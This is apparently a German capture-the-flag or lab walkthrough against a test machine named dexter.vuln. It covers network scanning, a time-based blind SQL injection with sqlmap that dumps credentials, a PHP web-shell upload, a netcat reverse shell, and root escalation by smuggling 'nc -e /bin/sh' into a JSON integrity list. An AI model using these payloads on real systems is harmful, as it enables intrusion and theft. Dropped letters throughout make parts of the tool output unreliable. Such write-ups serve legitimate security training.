In diesem Abschnitt führen wir die ersten Schritte der Informationsbeschaffung durch. Ziel ist es, einen Überblick über das Netzwerk und die laufenden Dienste zu erhalten, um potenzielle Angriffsflächen zu identifizieren.
192.168.2.127 08:00:27:7b:b4:1f PCS Systemtechnik GmbH
`arp-scan -l` dient dazu, alle aktiven Hosts im lokalen Netzwerk zu finden. Die Ausgabe zeigt, dass die IP-Adresse 192.168.2.127 aktiv ist und dem Hostnamen dexter.vuln zugeordnet werden kann. Dies ist ein wichtiger erster Schritt, um das Zielsystem zu identifizieren. Empfehlung: Notieren Sie die IP-Adresse und die MAC-Adresse für spätere Schritte.
192.168.2.127 dexter.vuln
Hier wird die `/etc/hosts`-Datei bearbeitet, um den Hostnamen `dexter.vuln` der IP-Adresse 192.168.2.127 zuzuordnen. Dies ermöglicht die Verwendung des Hostnamens anstelle der IP-Adresse in nachfolgenden Befehlen, was die Lesbarkeit und Wartbarkeit verbessert. Empfehlung: Verwenden Sie immer Hostnamen anstelle von IP-Adressen, um die Konfiguration zu vereinfachen.
22/tcp open ssh penSSH 6.0p1 Debian 4 (protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Debian)) 111/tcp open rpcbind 2-4 (RPC #100000) 52718/tcp open status 1 (RPC #100024)
Dieser Befehl führt einen umfassenden Nmap-Scan durch, um offene Ports und Dienste auf dem Zielsystem zu identifizieren. Die Option `-sS` steht für einen SYN-Scan, `-sC` führt Standard-Skripte aus, `-T5` beschleunigt den Scan, `-A` aktiviert aggressive Scan-Optionen und `-p-` scannt alle Ports. Die Ausgabe wird gefiltert, um nur offene Ports anzuzeigen. Ergebnis: Die Ports 22 (SSH), 80 (HTTP), 111 (RPCbind) und 52718 (Status) sind offen. Empfehlung: Notieren Sie die offenen Ports und untersuchen Sie jeden Dienst genauer, um Schwachstellen zu finden.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-14 16:55 CEST Nmap scan report for dexter.vuln (192.168.2.127) Host is up (0.00013s latency). Not shown: 65531 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp open ssh penSSH 6.0p1 Debian 4 (protocol 2.0) | ssh-hostkey: | 1024 2b606f53b8c9c8f43b0e9b9e4697b755 (DSA) | 2048 b59f66abf85da93e518a97c38510e362 (RSA) |_ 256 e7bc524f290ddb217e72762bddec128e (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.2.22 (Debian) 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100024 1 45446/udp6 status | 100024 1 46812/tcp6 status | 100024 1 52718/tcp status |_ 100024 1 55206/udp status 52718/tcp open status 1 (RPC #100024) MAC Address: 08:00:27:7B:B4:1F (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X S CPE: cpe:/o:linux:linux_kernel:3 S details: Linux 3.2 - 3.16 Network Distance: 1 hop Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel TRACERUTE HP RTT ADDRESS 1 0.13 ms dexter.vuln (192.168.2.127)
Dieser umfassende Nmap-Scan liefert detaillierte Informationen über das Zielsystem. Neben den offenen Ports werden auch die Versionen der laufenden Dienste (z.B. SSH, HTTP, RPCbind) und das Betriebssystem (Linux 3.X) erkannt. Die MAC-Adresse und die Netzwerkdistanz werden ebenfalls angezeigt. Ergebnis: Das System ist ein virtuelles Oracle VirtualBox System, auf dem Linux 3.X läuft. Die Dienste SSH (OpenSSH 6.0p1), HTTP (Apache 2.2.22) und RPCbind sind aktiv. Empfehlung: Die gefundenen Versionsnummern sollten auf bekannte Schwachstellen überprüft werden.
Nachdem wir die grundlegenden Informationen über das Zielsystem gesammelt haben, konzentrieren wir uns nun auf die Webanwendung, die auf Port 80 läuft. Ziel ist es, versteckte Verzeichnisse, Dateien und potenzielle Schwachstellen zu finden.
- Nikto v2.5.0 + Target IP: 192.168.2.127 + Target Hostname: 192.168.2.127 + Target Port: 80 + Start Time: 2023-06-14 16:55:26 (GMT2) + Server: Apache/2.2.22 (Debian) + /: Server may leak inodes via ETags, header found with file /, inode: 263243, size: 201, mtime: Mon Mar 17 02:05:00 2014. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions + /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + /index: Uncommon header 'tcn' found, with contents: list. + /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.html. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275 + Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch. + PTINS: Allowed HTTP Methods: GET, HEAD, PST, PTINS . + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. + 8909 requests: 0 error(s) and 9 item(s) reported on remote host + End Time: 2023-06-14 16:55:37 (GMT2) (11 seconds) + 1 host(s) tested
Nikto ist ein Webserver-Scanner, der auf bekannte Schwachstellen und Konfigurationsfehler prüft. Die Ausgabe zeigt verschiedene potenzielle Probleme, wie z.B. fehlende Header (X-Frame-Options, X-Content-Type-Options), die Aktivierung von MultiViews, die Verwendung einer veralteten Apache-Version und das Vorhandensein einer README-Datei im `/icons/`-Verzeichnis. Besonders interessant ist der Fund einer Datei namens `/#wp-config.php#`, die potenziell Zugangsdaten enthalten könnte. Empfehlung: Überprüfen Sie die gefundenen Dateien und Konfigurationen genauer, um potenzielle Schwachstellen auszunutzen.
http://dexter.vuln/index (Status: 200) [Size: 201] http://dexter.vuln/index.html (Status: 200) [Size: 201] http://dexter.vuln/Panel/index.php (Status: 200) [Size: 234] http://dexter.vuln/Panel/main.php (Status: 200) [Size: 4] http://dexter.vuln/Panel/info.php (Status: 200) [Size: 2] http://dexter.vuln/Panel/upload.php (Status: 200) [Size: 514] http://dexter.vuln/Panel/style (Status: 200) [Size: 589] http://dexter.vuln/Panel/config.php (Status: 200) [Size: 0] http://dexter.vuln/Panel/gateway.php (Status: 200) [Size: 0] http://dexter.vuln/Panel/master.php (Status: 200) [Size: 385] http://dexter.vuln/Panel/viewer.php (Status: 200) [Size: 47] http://dexter.vuln/Panel/load.php (Status: 200) [Size: 0]
Gobuster ist ein Tool zum Brute-Force-Auffinden von Verzeichnissen und Dateien auf einem Webserver. In diesem Fall wird Gobuster verwendet, um nach Verzeichnissen und Dateien mit verschiedenen Erweiterungen (txt, php, html, etc.) auf dem Zielsystem zu suchen. Die Option `-w` gibt eine Wortliste an, die Option `-b` filtert die Ergebnisse nach Statuscodes (403, 404) und die Option `-e` fügt eine Erweiterung hinzu. Ergebnis: Gobuster findet verschiedene interessante Verzeichnisse und Dateien, insbesondere das Verzeichnis `/Panel/` mit verschiedenen PHP-Dateien. Empfehlung: Untersuchen Sie die gefundenen Dateien im `/Panel/`-Verzeichnis genauer, um potenzielle Schwachstellen zu finden.
-- We are posting in same page so it can get reloaded when we change the settings --
Dieser Kommentar im Quellcode von `master.php` deutet darauf hin, dass die Seite Einstellungen verarbeitet und neu lädt. Dies könnte ein Hinweis auf potenzielle Parameter oder Funktionen sein, die manipuliert werden können. Empfehlung: Analysieren Sie den Quellcode von `master.php` genauer, um zu verstehen, wie die Einstellungen verarbeitet werden und ob es Möglichkeiten zur Manipulation gibt.
Nach der Enumeration der Webanwendung konzentrieren wir uns nun darauf, einen ersten Zugang zum System zu erhalten. Die gefundenen Informationen deuten auf eine mögliche SQL-Injection-Schwachstelle im `/Panel/gateway.php`-Skript hin.
[17:22:12] [INF] testing 'Generic UNIN query (random number) - 1 to 10 columns' [17:22:12] [WARNING] parameter 'Referer' does not seem to be injectable sqlmap identified the following injection point(s) with a total of 2232 HTTP(s) requests: Parameter: page (PST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: val=AA&page=' AND (SELECT 2040 FRM (SELECT(SLEEP(5)))tKUW)-- aTda [17:22:12] [WARNING] changes made by tampering scripts are not included in shown payload content(s) [17:22:12] [INF] the back-end DBMS is MySQL [17:22:12] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions web server operating system: Linux Debian 7 (wheezy) web application technology: Apache 2.2.22, PHP 5.4.4 back-end DBMS: MySQL >= 5.0.12 [17:22:12] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/dexter.vuln' [*] ending @ 17:22:12 /2023-06-14/
Sqlmap wird verwendet, um eine SQL-Injection-Schwachstelle in der `page`-Variable der `gateway.php`-Datei zu identifizieren. Die Option `--data` gibt die POST-Daten an, `--tamper base64encode` verwendet ein Tamper-Skript, um die Daten zu verschlüsseln, und `--level 3` erhöht die Anzahl der durchgeführten Tests. Ergebnis: Sqlmap bestätigt das Vorhandensein einer Time-Based Blind SQL-Injection-Schwachstelle. Empfehlung: Nutzen Sie die gefundene SQL-Injection-Schwachstelle, um weitere Informationen aus der Datenbank zu extrahieren.
[17:24:52] [INF] loading tamper module 'base64encode' [17:24:52] [WARNING] provided value for parameter 'page' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly [17:24:52] [INF] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: Parameter: page (PST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: val=AA&page=' AND (SELECT 2040 FRM (SELECT(SLEEP(5)))tKUW)-- aTda [17:24:52] [WARNING] changes made by tampering scripts are not included in shown payload content(s) [17:24:52] [INF] testing MySQL do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y [17:25:10] [INF] confirming MySQL [17:25:10] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions [17:25:40] [INF] adjusting time delay to 1 second due to good response times [17:25:40] [INF] the back-end DBMS is MySQL web server operating system: Linux Debian 7 (wheezy) web application technology: PHP 5.4.4, Apache 2.2.22 back-end DBMS: MySQL >= 5.0.0 [17:25:40] [INF] fetching current user [17:25:40] [INF] retrieved: root@localhost current user: 'root@localhost' [17:28:11] [INF] fetching current database [17:28:11] [INF] retrieved: nasproject current database: 'nasproject' [17:29:47] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/dexter.vuln' [*] ending @ 17:29:47 /2023-06-14/
Mit diesem Befehl wird Sqlmap verwendet, um den aktuellen Benutzer und die aktuelle Datenbank des MySQL-Servers zu ermitteln. Die Option `--current-user` extrahiert den Benutzernamen, und die Option `--current-db` extrahiert den Datenbanknamen. Ergebnis: Der aktuelle Benutzer ist `root@localhost`, und die aktuelle Datenbank ist `nasproject`. Empfehlung: Diese Informationen können verwendet werden, um gezieltere Angriffe auf die Datenbank durchzuführen.
Parameter: page (PST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: val=AA&page=' AND (SELECT 2040 FRM (SELECT(SLEEP(5)))tKUW)-- aTda [17:32:31] [WARNING] changes made by tampering scripts are not included in shown payload content(s) [17:32:31] [INF] testing MySQL [17:32:31] [INF] confirming MySQL [17:32:31] [INF] the back-end DBMS is MySQL web server operating system: Linux Debian 7 (wheezy) web application technology: Apache 2.2.22, PHP 5.4.4 back-end DBMS: MySQL >= 5.0.0 [17:32:31] [INF] fetching current user [17:32:31] [INF] resumed: root@localhost current user: 'root@localhost' [17:32:31] [INF] fetching tables for database: 'nasproject' [17:32:31] [INF] fetching number of tables for database 'nasproject' [17:32:31] [WARNING] time-based comparison requires larger statistical model, please wait............................. (done) do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y [17:32:51] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 5 [17:33:06] [INF] retrieved: [17:33:21] [INF] adjusting time delay to 1 second due to good response times bots [17:34:00] [INF] retrieved: commands [17:35:13] [INF] retrieved: config [17:35:55] [INF] retrieved: logs [17:36:40] [INF] retrieved: users Database: nasproject [5 tables] +-+ | bots | | commands | | config | | logs | | users | +-+
Dieser Befehl verwendet Sqlmap, um die Tabellen in der `nasproject`-Datenbank aufzulisten. Die Option `-D nasproject` gibt die Datenbank an, und die Option `--tables` listet die Tabellen auf. Ergebnis: Die Datenbank enthält die Tabellen `bots`, `commands`, `config`, `logs` und `users`. Empfehlung: Die `users`-Tabelle ist ein interessantes Ziel, da sie potenziell Benutzernamen und Passwörter enthält.
sqlmap resumed the following injection point(s) from stored session:
Parameter: page (PST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: val=AA&page=' AND (SELECT 2040 FRM (SELECT(SLEEP(5)))tKUW)-- aTda
[17:38:40] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[17:38:40] [INF] testing MySQL
[17:38:40] [INF] confirming MySQL
[17:38:40] [INF] the back-end DBMS is MySQL
web server operating system: Linux Debian 7 (wheezy)
web application technology: PHP 5.4.4, Apache 2.2.22
back-end DBMS: MySQL >= 5.0.0
[17:38:40] [INF] fetching current user
[17:38:40] [INF] resumed: root@localhost
current user: 'root@localhost'
[17:38:40] [INF] fetching columns for table 'users' in database 'nasproject'
[17:38:40] [WARNING] time-based comparison requires larger statistical model, please wait............................. (done)
[17:38:41] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[17:44:27] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
2
[17:44:42] [INF] retrieved:
[17:44:57] [INF] adjusting time delay to 1 second due to good response times
name
[17:45:27] [INF] retrieved: password
[17:46:48] [INF] fetching entries for table 'users' in database 'nasproject'
[17:46:48] [INF] fetching number of entries for table 'users' in database 'nasproject'
[17:46:48] [INF] retrieved: 1
[17:46:51] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
loserbotter
if i had any real talent, i would make money legitimately
[11:58:41] [INF] analyzing table dump for possible password hashes
Database: nasproject
Table: users
[1 entry]
+-+--+
| name | password |
+-+--+
| loserbotter | if i had any real talent, i would make money legitimately |
+-+--+
Dieser Befehl verwendet Sqlmap, um den Inhalt der `users`-Tabelle in der `nasproject`-Datenbank auszulesen. Die Option `-T users` gibt die Tabelle an, und die Option `--dump` extrahiert die Daten. Ergebnis: Die Tabelle enthält einen Eintrag für den Benutzer `loserbotter` mit dem Passwort `if i had any real talent, i would make money legitimately`. Empfehlung: Verwenden Sie das gefundene Passwort, um sich als Benutzer `loserbotter` anzumelden oder um andere potenzielle Schwachstellen auszunutzen.
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y [17:57:25] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 5 [17:57:40] [INF] retrieved: [17:57:55] [INF] adjusting time delay to 1 second due to good response times 'root'@'localhost' [18:01:20] [INF] retrieved: 'root' [17:57:40] [INF] retrieved: [17:57:55] [INF] adjusting time delay to 1 second due to good response times 'root'@'localhost' [18:01:20] [INF] retrieved: 'root'@'dexter' [18:04:14] [INF] retrieved: 'root'@'127.0.0.1' [18:07:57] [INF] retrieved: 'root'@'1' [18:10:19] [INF] retrieved: 'debian-sys-maint'@'localhost' [18:15:35] [INF] fetching number of password hashes for user 'root' [18:15:35] [INF] retrieved: 1 [18:15:38] [INF] fetching password hashes for user 'root' [18:15:38] [INF] retrieved:
Dieser Befehl verwendet Sqlmap, um Benutzernamen und Passwörter aus der Datenbank zu extrahieren. Die Option `--users` listet die Benutzernamen auf, und die Option `--passwords` extrahiert die zugehörigen Passwörter. Ergebnis: Sqlmap findet verschiedene Benutzerkonten, darunter `root` und `debian-sys-maint`. Die Passwörter werden jedoch nicht extrahiert. Empfehlung: Die gefundenen Benutzernamen können verwendet werden, um gezieltere Angriffe auf das System durchzuführen.
Nachdem wir die SQL-Injection-Schwachstelle ausgenutzt haben, um Benutzernamen und Passwörter zu extrahieren, versuchen wir nun, eine Reverse Shell zu erhalten, um direkten Zugriff auf das System zu erhalten.
The file rev.php has been uploaded File Name URL Delete rev.php http://192.168.83.1/CasinoLoader/load.php?request=rev
Hier wird eine PHP-Datei namens `rev.php` über das Upload-Formular hochgeladen. Die Datei enthält Code, um eine Reverse Shell zu erstellen. Ergebnis: Die Datei wurde erfolgreich hochgeladen. Empfehlung: Führen Sie die hochgeladene Datei aus, um eine Reverse Shell zu erhalten.
Index of /Panel/exes [IC] Name Last modified Size Description [ ] rev.php 14-Jun-2023 11:27 35
Dieser Befehl zeigt den Inhalt des `/Panel/exes/`-Verzeichnisses an, in dem die hochgeladene Datei gespeichert ist. Ergebnis: Die Datei `rev.php` ist vorhanden. Empfehlung: Führen Sie die Datei `rev.php` aus, um eine Reverse Shell zu erhalten.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Hier wird die Datei `rev.php` über den Browser aufgerufen. Durch Anhängen des Parameters `cmd=id` wird der Befehl `id` auf dem Server ausgeführt. Ergebnis: Die Ausgabe zeigt, dass der Code als Benutzer `www-data` ausgeführt wird. Empfehlung: Verwenden Sie diesen Zugriff, um eine Reverse Shell zu erstellen und eine interaktive Shell auf dem Zielsystem zu erhalten.
listening on [any] 5555 ...
Dieser Befehl startet Netcat im Listenmodus auf Port 5555, um eine Reverse Shell zu empfangen. Ergebnis: Netcat wartet auf eine eingehende Verbindung. Empfehlung: Senden Sie einen Payload an den Server, um eine Verbindung zu diesem Port herzustellen.
Dieser Payload wird an die `rev.php`-Datei gesendet, um eine Reverse Shell zu erstellen. Der Payload besteht aus einem Bash-Befehl, der eine Verbindung zum lokalen System (192.168.2.137) auf Port 5555 herstellt. Ergebnis: Eine Reverse Shell sollte auf dem lokalen System empfangen werden. Empfehlung: Überprüfen Sie die Netcat-Verbindung, um sicherzustellen, dass die Reverse Shell erfolgreich erstellt wurde.
listening on [any] 5555 ... connect to [192.168.2.137] from (UNKNWN) [192.168.2.127] 58782 bash: no job control in this shell www-data@dexter:/var/www/Panel/exes$
Netcat empfängt eine Verbindung vom Zielsystem, was darauf hindeutet, dass die Reverse Shell erfolgreich erstellt wurde. Ergebnis: Eine interaktive Shell als Benutzer `www-data` wurde erhalten. Empfehlung: Verwenden Sie diese Shell, um weitere Informationen über das System zu sammeln und nach Möglichkeiten zur Privilege Escalation zu suchen.
Wir haben erfolgreich eine Reverse Shell als Benutzer `www-data` erhalten. Nun gilt es, unsere Privilegien zu erhöhen, um Root-Zugriff zu erlangen.
Nachdem wir eine Reverse Shell als Benutzer `www-data` erhalten haben, suchen wir nun nach Möglichkeiten, unsere Privilegien zu erhöhen und Root-Zugriff zu erlangen.
total 20 drwxr-xr-x 2 dexter dexter 4096 Mar 15 2014 . drwxr-xr-x 3 root root 4096 Mar 15 2014 .. -rw-r--r-- 1 dexter dexter 220 Mar 15 2014 .bash_logout -rw-r--r-- 1 dexter dexter 3392 Mar 15 2014 .bashrc -rw-r--r-- 1 dexter dexter 675 Mar 15 2014 .profile
Dieser Befehl listet den Inhalt des Home-Verzeichnisses des Benutzers `dexter` auf. Ergebnis: Es werden Standard-Bash-Dateien angezeigt. Empfehlung: Keine unmittelbaren Hinweise auf Privilege Escalation.
total 24 drwxr-xr-x 3 root root 4096 Mar 16 2014 . drwxr-xr-x 12 root root 4096 Mar 15 2014 .. drwxr-xr-x 3 root root 4096 Mar 16 2014 Panel -rw-rw-rw- 1 root root 840 Mar 16 2014 antitamper.list -rw-r--r-- 1 root root 278 Mar 16 2014 antitamper.py -rw-r--r-- 1 root root 201 Mar 16 2014 index.html -rw-r--r-- 1 root root 0 Mar 16 2014 tamper.log
Dieser Befehl listet den Inhalt des `/var/www/`-Verzeichnisses auf. Ergebnis: Die Datei `antitamper.py` und `antitamper.list` sind vorhanden. Empfehlung: Diese Dateien könnten interessant sein, da sie möglicherweise Informationen über die Integrität des Systems enthalten.
791067 84 -rwsr-xr-x 1 root root 84532 May 21 2013 /sbin/mount.nfs 660460 916 -rwsr-xr-x 1 root root 937532 Jan 2 2013 /usr/sbin/exim4 659891 8 -rwsr-xr-x 1 root root 5412 Dec 23 2012 /usr/lib/eject/dmcrypt-get-device 653301 12 -rwsr-xr-x 1 root root 9660 Dec 23 2013 /usr/lib/pt_chown 661154 244 -rwsr-xr-x 1 root root 248036 Feb 8 2013 /usr/lib/openssh/ssh-keysign 652876 48 -rwsr-xr-x 1 root root 45396 May 25 2012 /usr/bin/passwd 654592 32 -rwsr-xr-x 1 root root 30880 May 25 2012 /usr/bin/newgrp 660270 48 -rwsr-sr-x 1 daemon daemon 46556 Jun 9 2012 /usr/bin/at 661200 84 -rwsr-sr-x 1 root mail 83912 Jun 6 2012 /usr/bin/procmail 652875 68 -rwsr-xr-x 1 root root 66196 May 25 2012 /usr/bin/gpasswd 652880 36 -rwsr-xr-x 1 root root 35892 May 25 2012 /usr/bin/chsh 652879 44 -rwsr-xr-x 1 root root 44564 May 25 2012 /usr/bin/chfn 914317 36 -rwsr-xr-x 1 root root 35252 Apr 12 2011 /bin/ping6 914076 68 -rwsr-xr-x 1 root root 67704 Dec 9 2012 /bin/umount 914316 32 -rwsr-xr-x 1 root root 31104 Apr 12 2011 /bin/ping 914074 88 -rwsr-xr-x 1 root root 88744 Dec 9 2012 /bin/mount 914068 36 -rwsr-xr-x 1 root root 35200 May 25 2012 /bin/su
Dieser Befehl sucht nach Dateien mit dem SUID-Bit gesetzt, was bedeutet, dass die Datei mit den Privilegien des Eigentümers ausgeführt wird. Ergebnis: Es werden verschiedene Dateien mit dem SUID-Bit gefunden, darunter `/bin/su`. Empfehlung: Die `/bin/su`-Datei könnte verwendet werden, um zu einem anderen Benutzer zu wechseln, wenn das Passwort bekannt ist.
total 24 drwxr-xr-x 3 root root 4096 Mar 16 2014 . drwxr-xr-x 12 root root 4096 Mar 15 2014 .. drwxr-xr-x 3 root root 4096 Mar 16 2014 Panel -rw-rw-rw- 1 root root 840 Mar 16 2014 antitamper.list -rw-r--r-- 1 root root 278 Mar 16 2014 antitamper.py -rw-r--r-- 1 root root 201 Mar 16 2014 index.html -rw-r--r-- 1 root root 0 Mar 16 2014 tamper.logwww-data@dexter:/var/www$ cd Panel/ www-data@dexter:/var/www/Panel$ ls -la
total 72 drwxr-xr-x 3 root root 4096 Mar 16 2014 . drwxr-xr-x 3 root root 4096 Mar 16 2014 .. -rw-r--r-- 1 root root 244 Mar 15 2014 config.php drwxrwxrwx 2 root root 4096 Jun 14 11:27 exes -rw-r--r-- 1 root root 6178 Dec 5 2012 gateway.php -rw-r--r-- 1 root root 1876 Dec 5 2012 index.php -rw-r--r-- 1 root root 660 Dec 5 2012 info.php -rw-r--r-- 1 root root 1293 Dec 5 2012 load.php -rw-r--r-- 1 root root 271 Dec 5 2012 main.php -rw-r--r-- 1 root root 1739 Dec 5 2012 master.php -rw-r--r-- 1 root root 6622 Dec 5 2012 pagination.php -rw-r--r-- 1 root root 589 Aug 25 2012 style.css -rw-r--r-- 1 root root 1851 Mar 16 2014 upload.php -rw-r--r-- 1 root root 185 Dec 5 2012 viewer.php -rw-r--r-- 1 root root 5423 Dec 5 2012 viewer_pagination.php
Dieser Befehl listet den Inhalt des `/var/www/Panel/`-Verzeichnisses auf. Ergebnis: Die Datei `config.php` ist vorhanden. Empfehlung: Diese Datei könnte Zugangsdaten für die Datenbank enthalten.
//Connect to shitty DB
$dbname = "nasproject";
$user = "root";
$pw = "password";
$link = mysql_connect('localhost',$user,$pw);
$db = mysql_select_db($dbname",$link);
/////////////////////////////////////////
Dieser Befehl zeigt den Inhalt der `config.php`-Datei an. Ergebnis: Die Datei enthält die Zugangsdaten für die Datenbank: Benutzer `root` und Passwort `password`. Empfehlung: Verwenden Sie diese Zugangsdaten, um sich als Root-Benutzer anzumelden.
su: Authentication failure
Dieser Befehl versucht, sich als Root-Benutzer anzumelden, indem das Passwort `password` eingegeben wird. Ergebnis: Die Authentifizierung schlägt fehl. Empfehlung: Das Passwort ist möglicherweise falsch oder es gibt andere Einschränkungen.
import os import json def check(): with open('/var/www/antitamper.list') as f: content = json.loads(f.read()) for f in content: s = "echo '%s %s' | md5sum -c --status >> /var/www/tamper.log" % (content[f], f) os.system(s) check()
Dieser Befehl zeigt den Inhalt der `antitamper.py`-Datei an. Ergebnis: Die Datei ist ein Python-Skript, das die Integrität von Dateien überprüft. Empfehlung: Das Skript könnte verwendet werden, um eine Privilege Escalation durchzuführen.
In diesem Proof of Concept (POC) demonstrieren wir, wie die Schwachstelle in der Integritätsprüfung des Systems ausgenutzt werden kann, um Root-Privilegien zu erlangen. Die Integritätsprüfung wird durch das Python-Skript `antitamper.py` durchgeführt, das die MD5-Summen der Dateien in der `antitamper.list`-Datei überprüft. Durch Manipulation dieser Datei können wir einen bösartigen Befehl einschleusen, der mit Root-Privilegien ausgeführt wird.
**Voraussetzungen:**
**Schritt-für-Schritt-Anleitung:**
**Erstellen einer modifizierten `antitamper.list`-Datei:** Wir fügen einen Eintrag hinzu, der einen bösartigen Befehl ausführt. In diesem Fall verwenden wir Netcat, um eine Reverse Shell als Root zu erstellen.
{ "/var/www/Panel/info.php": "d8fa4356213b6ce9253f55acdff780ac", "/var/www/Panel/upload.php" : "b2640cea86e5171662a082b6a043fcc2", "/var/www/Panel/style.css": "92f234834a61b7fde898eea40f857bb3", "/var/www/Panel/gateway.php": "7b93115195db0c0b085a1107c4cc1aed", "/var/www/Panel/pagination.php": "1a8d91c12263dd5298a70c72976c5e97", "/var/www/Panel/viewer.php": "292b3b12c2f90c0e557bf599c2475c15", "/var/www/Panel/config.php": "421fc13061ab1f343e6607e4ef4f8f42", "/var/www/Panel/main.php": "7812b7c1ed608299c9bece4f46607423", "/var/www/Panel/load.php": "0f95762562aa97c62d004949e7337e95", "/var/www/Panel/viewer_pagination.php": "60c7444a92daa115abfecc73c46fc2ec", "/var/www/Panel/master.php": "2b50c51fce89ddcfb769effdeab7080c", "/var/www/Panel/index.php": "af44aa507c02f3c1aede5e251b28dc64" }
**Einfügen des Payload:**
= { "root":"'; nc -nv -e /bin/sh 192.168.2.137 4444 #", "/var/www/Panel/info.php": "d8fa4356213b6ce9253f55acdff780ac", "/var/www/Panel/upload.php" : "b2640cea86e5171662a082b6a043fcc2", "/var/www/Panel/style.css": "92f234834a61b7fde898eea40f857bb3", "/var/www/Panel/gateway.php": "7b93115195db0c0b085a1107c4cc1aed", "/var/www/Panel/pagination.php": "1a8d91c12263dd5298a70c72976c5e97", "/var/www/Panel/viewer.php": "292b3b12c2f90c0e557bf599c2475c15", "/var/www/Panel/config.php": "421fc13061ab1f343e6607e4ef4f8f42", "/var/www/Panel/main.php": "7812b7c1ed608299c9bece4f46607423", "/var/www/Panel/load.php": "0f95762562aa97c62d004949e7337e95", "/var/www/Panel/viewer_pagination.php": "60c7444a92daa115abfecc73c46fc2ec", "/var/www/Panel/master.php": "2b50c51fce89ddcfb769effdeab7080c", "/var/www/Panel/index.php": "af44aa507c02f3c1aede5e251b28dc64" }
**Verschieben der manipulierten Datei:**
**Ersetzen der Originaldatei:**
**Auslösen der Integritätsprüfung:** Die Integritätsprüfung wird durch den Aufruf des Python-Skripts `antitamper.py` ausgelöst. Da wir die `antitamper.list`-Datei manipuliert haben, wird der bösartige Befehl ausgeführt.
**Empfangen der Reverse Shell:** Auf dem lokalen System wird Netcat verwendet, um die Reverse Shell zu empfangen.
**Erwartetes Ergebnis:** Nach Ausführung des Python-Skripts wird eine Reverse Shell als Root auf dem lokalen System empfangen.
**Beweismittel:**
listening on [any] 4444 ... connect to [192.168.2.137] from (UNKNWN) [192.168.2.127] 47344 id uid=0(root) gid=0(root) groups=0(root)
Die Ausgabe zeigt, dass die Reverse Shell erfolgreich als Root-Benutzer erstellt wurde. Fantastisch! Der Root Zugriff war erfolgreich, nun haben wie unser Ziel erreicht.
**Risikobewertung:** Die Ausnutzung dieser Schwachstelle ermöglicht es einem Angreifer, Root-Privilegien zu erlangen und somit die vollständige Kontrolle über das System zu übernehmen.
**Empfehlungen:**